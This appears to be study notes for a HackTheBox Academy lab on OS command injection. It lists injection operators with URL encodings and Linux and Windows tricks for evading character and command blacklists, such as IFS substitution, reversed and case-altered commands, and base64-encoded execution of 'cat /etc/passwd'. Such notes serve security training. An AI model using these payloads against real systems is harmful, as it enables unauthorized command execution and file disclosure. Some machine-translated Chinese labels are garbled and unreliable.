Command Injection

1

發現點

Host Checker實用程序

2

測試Payload

ping -c 1 127.0.0.1; whoami
3

bypass技巧

注入操作符

注塑件

URL 編碼字符

執行的命令

分號

;

%3b

兩個都

新線

%0a

兩個都

背景

& &

%26

兩者(第二個輸出通常首先顯示)

管道

|

%7c

兩者(僅顯示第二個輸出)

&& &&

%26%26

兩者(僅當第一個成功時)

或者

||

%7c%7c

第二(只當第一失敗時)

子殼

``

%60%60

兩者(僅限 Linux) 兩名用戶(僅限 Linux)

子殼

$()

%24%28%29

兩者(僅限 Linux) 兩名用戶(僅限 Linux)

4

濫用

Linux

Filtered Character Bypass

Code
Description

printenv

Can be used to view all environment variables

Spaces

%09

Using tabs instead of spaces

${IFS}

Will be replaced with a space and a tab. Cannot be used in sub-shells (i.e. $())

{ls,-la}

Commas will be replaced with spaces

Other Characters

${PATH:0:1}

Will be replaced with /

${LS_COLORS:10:1}

Will be replaced with ;

$(tr '!-}' '"-~'<<<[)

Shift character by one ([ -> \)


Blacklisted Command Bypass

Code
Description

Character Insertion

' or "

Total must be even

$@ or \

Linux only

Case Manipulation

$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")

Execute command regardless of cases

$(a="WhOaMi";printf %s "${a,,}")

Another variation of the technique

Reversed Commands

echo 'whoami' | rev

Reverse a string

$(rev<<<'imaohw')

Execute reversed command

Encoded Commands

echo -n 'cat /etc/passwd | grep 33' | base64

Encode a string with base64

bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)

Execute b64 encoded string


Windows

Filtered Character Bypass

Code
Description

Get-ChildItem Env:

Can be used to view all environment variables - (PowerShell)

Spaces

%09

Using tabs instead of spaces

%PROGRAMFILES:~10,-5%

Will be replaced with a space - (CMD)

$env:PROGRAMFILES[10]

Will be replaced with a space - (PowerShell)

Other Characters

%HOMEPATH:~0,-17%

Will be replaced with \ - (CMD)

$env:HOMEPATH[0]

Will be replaced with \ - (PowerShell)


Blacklisted Command Bypass

Code
Description

Character Insertion

' or "

Total must be even

^

Windows only (CMD)

Case Manipulation

WhoAmi

Simply send the character with odd cases

Reversed Commands

"whoami"[-1..-20] -join ''

Reverse a string

iex "$('imaohw'[-1..-20] -join '')"

Execute reversed command

Encoded Commands

[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))

Encode a string with base64

iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"

Execute b64 encoded string

4.Skills Assessment

https://academy.hackthebox.com/module/109/section/1042

最后更新于

这有帮助吗?